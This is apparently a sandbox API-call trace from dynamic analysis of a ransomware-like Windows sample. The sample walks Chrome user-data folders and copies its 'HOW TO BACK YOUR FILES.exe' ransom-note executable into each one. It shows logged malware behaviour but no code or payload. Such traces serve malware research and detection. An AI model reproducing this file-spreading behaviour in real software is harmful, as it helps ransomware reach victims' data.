	[0046.604] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e47510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x33da1f10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33da1f10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.604] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.604] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.604] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.604] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.604] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33da1f10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33da1f10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0046.604] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0046.604] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33da1f10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33da1f10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0046.604] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0046.604] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7af0
	[0046.604] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash"
	[0046.604] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aa3c8 | out: hHeap=0x580000) returned 1
	[0046.604] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0046.604] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash") returned 79
	[0046.604] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash"
	[0046.604] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.604] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\pepperflash\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.618] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.618] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\PepperFlash\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x33da1f10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33da1f10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.618] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.618] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.618] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.618] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x33da1f10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33da1f10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.618] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.618] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.618] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.618] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.618] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33da1f10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33da1f10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0046.618] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0046.618] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33da1f10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33da1f10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0046.618] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0046.618] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c50
	[0046.618] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials"
	[0046.619] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5995b0 | out: hHeap=0x580000) returned 1
	[0046.619] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c48 | out: hHeap=0x580000) returned 1
	[0046.619] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials") returned 80
	[0046.619] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials"
	[0046.619] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.619] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\origintrials\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.624] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.624] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\OriginTrials\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x33dc8070, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33dc8070, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.624] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.624] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.624] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.624] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x33dc8070, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33dc8070, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.624] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.624] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.624] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.624] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.624] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33dc8070, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33dc8070, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0046.624] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0046.624] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33dc8070, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33dc8070, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0046.625] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0046.625] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7bf0
	[0046.625] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies"
	[0046.625] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994f8 | out: hHeap=0x580000) returned 1
	[0046.625] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0046.625] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies") returned 84
	[0046.625] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies"
	[0046.625] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.625] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\filetypepolicies\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.629] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.629] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\FileTypePolicies\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x33dc8070, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33dc8070, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.630] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.630] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.630] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.630] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x33dc8070, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33dc8070, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.630] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.630] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.630] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.630] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.630] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33dc8070, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33dc8070, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0046.630] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0046.630] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33dc8070, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33dc8070, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0046.630] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0046.630] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ad0
	[0046.630] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist"
	[0046.630] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0046.630] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0046.631] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist") returned 79
	[0046.631] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist"
	[0046.631] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.631] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\evwhitelist\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.634] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.634] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\EVWhitelist\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x33dee1d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33dee1d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.635] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.635] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.635] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.635] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x33dee1d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33dee1d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.635] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.635] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0046.635] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0046.635] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0046.635] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33dee1d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33dee1d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0046.635] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0046.635] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x33dee1d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x33dee1d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0046.635] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0046.635] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c30
	[0046.635] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default"
	[0046.635] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599cf0 | out: hHeap=0x580000) returned 1
	[0046.635] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0046.635] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 75
	[0046.635] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default"
	[0046.635] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0046.635] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0046.641] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0046.641] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f846500, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x33dee1d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33dee1d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0046.643] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.643] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0046.643] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0046.643] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f846500, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x33dee1d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x33dee1d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0046.676] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0046.676] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
